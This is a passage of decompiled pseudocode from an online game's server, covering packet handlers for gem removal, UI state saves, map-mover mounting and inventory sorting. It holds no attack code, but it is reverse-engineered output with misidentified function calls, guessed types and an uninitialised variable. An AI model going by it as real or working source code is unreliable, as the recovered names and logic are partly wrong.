v20, v19, cell, ChangeInfo, &inv, &inv); v22 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13464; *((_WORD *)v22 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v22 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v22 + 4) = v19; *((_WORD *)v22 + 9) = ItemInventoryCell::iic_ItemIdent(v21); MoveManager::MoveManager((DiceTaiSai *)v21); *(_DWORD *)(v22 + 10) = *(_DWORD *)v23; v24 = IsRemoveSlot[0]; *(_DWORD *)(v22 + 14) = *(_DWORD *)(v23 + 4); v25 = IsRemoveSlot[1]; *((_WORD *)v22 + 10) = inv.Inven; LOBYTE(v23) = IsRemoveSlot[2]; v22[37] = 0; v22[34] = v24; v22[35] = v25; v22[36] = v23; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 38) ) { v26 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v26); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_ENCHANT_REMOVE_GEM_REQ : Packet Too Long", 38); } v27 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); InventoryLocking::InventoryCellLock::icl_IncIndex(v27); } } } // 5354C0: using guessed type char ChangeInfo[54]; //----- (00535730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 ZoneBaseSession *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16423; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v5[8] = *(_BYTE *)(netcmd + 2); *((_BYTE *)v4 + 143804) = *(_BYTE *)(netcmd + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ : Packet Too Long", 9); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"); } //----- (00535830) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SingleOptionSave2World(void *this) { char *v1; // esi@1 void *v2; // edi@1 ZoneBaseSession *v3; // eax@3 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = 16426; *((_WORD *)v1 + 1) = (*(int (**)(void))(*(_DWORD *)this + 832))(); *((_DWORD *)v1 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v1[12] = *(_BYTE *)(*((_DWORD *)v2 + 8040) + 170); v1[13] = *((_BYTE *)v2 + 143804); *((_DWORD *)v1 + 2) = 0; *(_DWORD *)(v1 + 14) = *((_DWORD *)v2 + 35955); v1[18] = 0; v1[19] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 20) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SingleOptionSave2World : Packet Too Long", 20); } } //----- (005358D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ(void *ecx0, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@4 int v6; // edi@7 const char **v7; // eax@13 const char *v8; // eax@15 ABSTATEINDEX v9; // eax@18 AbnormalStateDictionary::AbState::AbStateStr *v10; // eax@21 AbnormalStateDictionary::AbState::AbStateStr *v11; // edi@21 AbnormalStateInfo *v12; // eax@23 SubAbStateInfo *v13; // eax@26 unsigned __int16 v14; // di@30 CIDEB_Element *v15; // eax@31 int v16; // eax@35 __int16 v17; // cx@35 int v18; // eax@35 char *v19; // eax@37 int v20; // ST20_4@37 int v21; // eax@37 char *v22; // eax@37 char v23; // al@37 int v24; // eax@38 int v25; // eax@39 const char *v26; // [sp+30h] [bp-7Ch]@16 int v27; // [sp+34h] [bp-78h]@16 signed int v28; // [sp+34h] [bp-78h]@22 FunctionEntarance _; // [sp+48h] [bp-64h]@1 ChargedItemEffectFinger finger; // [sp+4Ch] [bp-60h]@30 AxialListPacketBroadcast alchat; // [sp+50h] [bp-5Ch]@37 char this; // [sp+5Ch] [bp-50h]@17 Name8 sNpcName; // [sp+7Ch] [bp-30h]@17 unsigned int v34; // [sp+9Ch] [bp-10h]@1 int v35; // [sp+A8h] [bp-4h]@1 v4 = ecx0; v34 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v35 = 0; if ( !(_S16_15 & 1) ) { _S16_15 |= 1u; cmc_95.cmc_AllowMode = 70; atexit(_E17_14); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_95.cmc_AllowMode) ) goto LABEL_6; v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { v6 = *(_DWORD *)(v5 + 16); if ( !v6 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : ADELIA_MAP_MOVETO_MAPNAME", 0); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 34, 10626); LABEL_11: v35 = -1; goto LABEL_12; } if ( *(_WORD *)v6 != MapDataBox::mdb_2mapid(&mapdatabox, "Adl") ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : ADELIA_MAP_MOVETO_MAPNAME", 0); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 34, 10627); goto LABEL_11; } v7 = (const char **)*((_DWORD *)v4 + 17153); if ( !v7 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : MenuAck not during npc process", 0); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 34, 10627); goto LABEL_44; } v8 = *v7; if ( !v8 ) { v27 = 1; v26 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : MenuAck not during npc process"; LABEL_42: AssertClass::ac_AssertFail(&shineassert, v26, v27); v28 = 10627; goto LABEL_43; } Name8::Name8(&sNpcName, v8); Name8::Name8((Name8 *)&this, "AdlLantesUp"); if ( Name8::operator__(&sNpcName, (Name8 *)&this) ) { v9 = 573; } else { Name8::Name8((Name8 *)&this, "AdlLantesDown"); if ( !Name8::operator__(&sNpcName, (Name8 *)&this) ) { v27 = 0; v26 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : NPC"; goto LABEL_42; } v9 = 574; } v10 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, v9); v11 = v10; if ( v10 ) { v12 = v10->index; if ( v11->index ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, ABSTATEINDEX, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1584))( v4, v4, v12->AbStataIndex, 1, v11, clockwatch.cw_CurrTick, 0, -1, 0, 0) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v4, v11->index->AbStataIndex); v13 = v11->subabstate[1].assa_info; if ( v13 ) { (*(void (__thiscall **)(void *, ABSTATEINDEX, unsigned int, signed int))(*(_DWORD *)v4 + 1004))( v4, v11->index->AbStataIndex, v13->KeepTime, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v4, v11->index->AbStataIndex, v11->subabstate[1].assa_info->KeepTime, 1); } } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1152))(v4) == 6 ) ShineObjectClass::ShinePlayer::sp_HorseOff(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2256))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2644))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2648))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3400))(v4); v14 = ItemDataBox::idb_SpecialItems(&itemdatabox)->sii_AdeliaMover; *((_DWORD *)v4 + 35786) = 0; MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v35) = 1; ChargedItemEffectDataBox::cideb_Home(&ridedatabox, &finger); if ( ChargedItemEffectDataBox::cideb_Next(&ridedatabox, &finger) ) { while ( 1 ) { v15 = ChargedItemEffectDataBox::cideb_GetIndex(&ridedatabox, &finger); *((_DWORD *)v4 + 35786) = v15; if ( !v15 ) break; if ( !v15->ce_Data ) break; if ( v15->ce_ItemID == v14 || !ChargedItemEffectDataBox::cideb_Next(&ridedatabox, &finger) ) goto LABEL_35; } } else { LABEL_35: v16 = *((_DWORD *)v4 + 35786); *((_WORD *)v4 + 71570) = -1; *((_WORD *)v4 + 71571) = -1; *((_DWORD *)v4 + 35787) = 0; *((_WORD *)v4 + 71576) = 0; *((_WORD *)v4 + 71577) = *(_WORD *)(*(_DWORD *)(v16 + 4) + 208); v17 = *(_WORD *)(*(_DWORD *)(v16 + 4) + 206); v18 = *((_DWORD *)v4 + 8040) + 29; *((_WORD *)v4 + 71578) = v17; *((_WORD *)v4 + 71579) = 0; *((_DWORD *)v4 + 35790) = 0; *((_BYTE *)v4 + 143164) = 0; *((_BYTE *)v4 + 143165) = 1; if ( ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo(v4, v18) ) { **((_BYTE **)v4 + 892) = 6; v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8256; *((_WORD *)v19 + 1) = *((_WORD *)v4 + 2); *((_WORD *)v19 + 2) = *(_WORD *)(*((_DWORD *)v4 + 8040) + 76); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v20 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v35) = 2; v21 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v21, v20, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v35) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v22 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8255; *((_WORD *)v22 + 1) = *(_WORD *)(*((_DWORD *)v4 + 8040) + 76); v23 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v23, "ShineObjectClass::ShinePlayer::sp_HorseOn : Packet Too Long", 4) ) { v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v24 + 12))(v24, v4, &gpp); } (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 3320))(v4, 1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 34, 10624); MoveManager::MoveManager((DiceTaiSai *)((char *)v4 + 66176)); *(_DWORD *)(v25 + 2284) = 0; (*(void (__stdcall **)(signed int))(*((_DWORD *)v4 + 14470) + 24))(1); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : NPC", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 34, 10625); } } LOBYTE(v35) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); v35 = -1; goto LABEL_45; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : Abstate Data Null", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 34, 10628); LABEL_44: v35 = -1; LABEL_45: FunctionEntarance::_FunctionEntarance(&_); goto LABEL_46; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : Abstate Data Null", 0); v28 = 10628; LABEL_43: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 34, v28); goto LABEL_44; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ : Field Data NULL", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 34, 10626); LABEL_6: v35 = -1; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ"); LABEL_46: __security_check_cookie((unsigned int)&_ ^ v34); } //----- (00535E60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ebx@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( **((_BYTE **)v4 + 892) == 6 ) { v5 = *(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 16); if ( v5 ) { if ( *(_WORD *)v5 == MapDataBox::mdb_2mapid(&mapdatabox, "Adl") ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3192))(v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ : ADELIA_MAP_MOVETO_MAPNAME", 0); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 38, 10690); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ : ADELIA_MAP_MOVETO_MAPNAME", 0); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 38, 10690); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ"); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ : Invalid Mode", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 6, 38, 10690); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ"); } } //----- (00535FC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendToWorldProtactionFromGameInfo(void *this, char nIsAdult, int nPlayTime) { char *v3; // esi@1 int v4; // eax@1 ZoneBaseSession *v5; // eax@3 v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3145; v4 = (*(int (**)(void))(*(_DWORD *)this + 840))(); v3[6] = nIsAdult; *(_DWORD *)(v3 + 2) = v4; *(_DWORD *)(v3 + 7) = nPlayTime; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 11) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SendToWorldProtactionFromGameInfo : Packet Too Long", 11); } } //----- (00536030) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_GetItemWhoEquip_ClassGroup(void *this) { void *v1; // esi@1 int v2; // eax@1 signed int v3; // edi@1 int v4; // ecx@2 int i; // eax@3 signed int result; // eax@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemWhoEquipClassGrup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_GetItemWhoEquipClassGrup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 964); v3 = 0; if ( v2 ) { (*(void (**)(void))(*(_DWORD *)v2 + 64))(); v4 = (unsigned __int8)(*(int (**)(void))(**((_DWORD **)v1 + 964) + 64))(); switch ( v4 ) { case 1: LOBYTE(i) = 5; break; case 6: LOBYTE(i) = 10; break; case 11: LOBYTE(i) = 15; break; case 16: LOBYTE(i) = 20; break; case 21: LOBYTE(i) = 25; break; default: goto LABEL_11; } for ( i = (unsigned __int8)i; v4 <= i; ++v4 ) v3 += 1 << v4; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemWhoEquipClassGrup"); result = v3; } else { LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_GetItemWhoEquipClassGrup"); result = 1; } return result; } //----- (00536180) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_ArrangeInven(int a1, int a2) { int v2; // esi@1 int v3; // eax@1 int result; // eax@1 int v5; // edx@2 int v6; // ebp@2 int *v7; // esi@3 ItemInventoryCell *v8; // edi@4 ItemAttributeClass *v9; // eax@5 int v10; // eax@6 unsigned __int16 v11; // ax@7 ItemDataBox::ItemDataBoxIndex *v12; // eax@7 char v13; // al@9 int v14; // ebp@20 int v15; // edi@21 int v16; // eax@22 int v17; // edx@22 int v18; // ebx@23 char *v19; // edi@23 unsigned int v20; // ecx@24 unsigned int v21; // esi@24 unsigned int v22; // eax@24 int v23; // esi@30 int v24; // ebp@31 int v25; // edi@40 int v26; // esi@40 char *v27; // eax@43 int v28; // eax@45 char itmreloc; // [sp+14h] [bp-DA0h]@42 char v30; // [sp+16h] [bp-D9Eh]@41 int i; // [sp+18h] [bp-D9Ch]@21 int v32; // [sp+1Ch] [bp-D98h]@1 int nInvenSize; // [sp+20h] [bp-D94h]@19 int j; // [sp+24h] [bp-D90h]@2 int nMinClassify; // [sp+28h] [bp-D8Ch]@22 int v36; // [sp+2Ch] [bp-D88h]@22 int v37; // [sp+30h] [bp-D84h]@22 int Inven; // [sp+34h] [bp-D80h]@21 int v39; // [sp+3Ch] [bp-D78h]@3 char v40; // [sp+40h] [bp-D74h]@21 int v41; // [sp+48h] [bp-D6Ch]@24 int v42; // [sp+4Ch] [bp-D68h]@24 v2 = a1; v3 = *(_DWORD *)a1; v32 = a1; result = (*(int (**)(void))(v3 + 3296))(); if ( !result ) return result; v5 = *(_DWORD *)(v2 + 35680); --*(_WORD *)(v2 + 144132); v6 = v2 + 35680; j = (*(int (__thiscall **)(int, int, int))(v5 + 4))(v2 + 35680, v2 + 142688, a2); v32 = 0; if ( j > 0 ) { v7 = &v39; do { v8 = (ItemInventoryCell *)(**(int (__thiscall ***)(_DWORD, _DWORD))v6)(v6, v32); *(v7 - 1) = (int)v8; *v7 = 0; v7[1] = 0; v7[2] = 0; v7[3] = -1; v7[4] = -1; if ( v8 ) { v9 = ItemInventoryCell::iic_GetAttrProc(v8); *v7 = (int)v9; if ( v9 ) { MoveManager::MoveManager((DiceTaiSai *)v8); v7[1] = v10; if ( v10 ) { v11 = *(_WORD *)(v10 + 8); *((_WORD *)v7 + 6) = v11; v12 = ItemDataBox::operator__(&itemdatabox, v11); v7[2] = (int)v12; if ( v12 ) { if ( v7 == (int *)4 ) { v13 = -1; } else { if ( *(v7 - 1) ) { if ( *v7 ) { if ( v7[1] ) v13 = *(_BYTE *)(v7[2] + 28); else v13 = -1; } else { v13 = -1; } } else { v13 = -1; } } *((_BYTE *)v7 + 19) = v13; *((_BYTE *)v7 + 18) = ShineObjectClass::ShinePlayer::sp_ArrangeInven_nClassifyGrade((int)(v7 - 1)); *((_WORD *)v7 + 8) = ShineObjectClass::ShinePlayer::sp_ArrangeInven_nClassifyGroupA((int)(v7 - 1)); *((_WORD *)v7 + 7) = -1; } } } } v7 += 6; ++v32; } while ( v32 < j ); v2 = nInvenSize; } v14 = j; v32 = 0; if ( j - 1 <= 0 ) return (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 3300))(v2); v15 = 24 - (_DWORD)&v40; i = 0; Inven = 24 - (_DWORD)&v40; while ( 1 ) { v36 = v32; v16 = v32 + 1; v17 = v32 + 1; v37 = v32 + 1; nMinClassify = v32 + 1; if ( v32 + 1 < v14 ) break; LABEL_37: v32 = v16; i += 24; if ( v16 >= v14 - 1 ) return (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 3300))(v2); } v18 = i; v19 = (char *)&v39 + i + v15 + 4; do { v20 = *(_DWORD *)&v19[(_DWORD)&v42]; v21 = *(int *)((char *)&v42 + v18); v22 = *(_DWORD *)&v19[(_DWORD)&v41]; if ( v21 >= v20 && (v21 > v20 || *(int *)((char *)&v41 + v18) > v22) ) { v36 = v17; v18 = (int)v19; } if ( *(int *)((char *)&v41 + v18) == v22 ) { if ( *(int *)((char *)&v42 + v18) == v20 ) { v23 = *(int *)((char *)&v39 + i); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v23 + 20))(*(int *)((char *)&v39 + i)) == 1 ) { v24 = *(int *)((char *)&v39 + i + 8); if ( v24 ) { if ( (unsigned int)(*(int (__thiscall **)(int, int))(*(_DWORD *)v23 + 24))( v23, *(int *)((char *)&v39 + i + 4) + 8) < *(_DWORD *)(*(_DWORD *)v24 + 106) ) { v36 = nMinClassify; v18 = (int)v19; } } } } } v14 = j; v17 = nMinClassify + 1; v19 += 24; ++nMinClassify; } while ( nMinClassify < j ); if ( v36 == v32 ) { v2 = nInvenSize; v16 = v37; v15 = Inven; goto LABEL_37; } v25 = nInvenSize; LOWORD(i) = v36 & 0x3FF | 0x2400; v26 = nInvenSize + 57880; HIWORD(i) = v32 & 0x3FF | 0x2400; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(nInvenSize + 57880) + 12))(nInvenSize + 57880) || (unsigned __int8)(*(int (__thiscall **)(int, char *))(*(_DWORD *)v26 + 12))(v26, &v30) ) { v27 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12363; *((_WORD *)v27 + 1) = 12459; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v28 = (*(int (__thiscall **)(int))(*(_DWORD *)v25 + 760))(v25); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v28 + 12))(v28, v25, &gpp); result = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v25 + 3300))(v25, 0); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ArrangeInven : Packet Too Long", 4); result = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v25 + 3300))(v25, 0); } } else { result = ShineObjectClass::ShinePlayer::sp_ItemReloc(v25, *(_WORD *)(v25 + 4), &itmreloc); } return result; } // 511C30: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ItemReloc(_DWORD, _DWORD, _DWORD); //----- (005364C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_mob_DataBoxforQuest(void *this, int a2) { void *v2; // esi@1 int v3; // ebx@1 int v4; // eax@1 int v5; // edi@3 int result; // eax@5 int v7; // eax@10 int v8; // edi@10 v2 = this; LOBYTE(v3) = (*(int (**)(void))(*(_DWORD *)a2 + 1236))(); v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( v4 && *(_DWORD *)(v4 + 40) && (v5 = *(_BYTE *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), 0), v3 = (unsigned __int8)v3, v5 + (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2) >= (unsigned __int8)v3) && v3 >= (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2) - v5 ) { if ( !(_S13_26 & 1) ) { _S13_26 |= 1u; ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&normalPlayer, byte_635E1E); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78C4, "NormalFighter"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78C8, "NormalCleverFighter"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78CC, "NormalWarrior"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78D0, "NormalGladiator"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78D4, "NormalKnight"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78D8, "NormalCleric"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78DC, "NormalHighCleric"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78E0, "NormalPaladin"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78E4, "NormalHolyKnight"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78E8, "NormalGuardian"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78EC, "NormalArcher"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78F0, "NormalHawkArcher"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78F4, "NormalScout"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78F8, "NormalSharpShooter"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78FC, "NormalRanger"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7900, "NormalMage"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7904, "NormalWizMage"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7908, "NormalEnchanter"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D790C, "NormalWarrock"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7910, "NormalWizard"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7914, "NormalJoker"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7918, "NormalChaser"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D791C, "NormalCruel"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7920, "NormalCloser"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7924, "NormalAssassin"); } if ( !(_S13_26 & 2) ) { _S13_26 |= 2u; 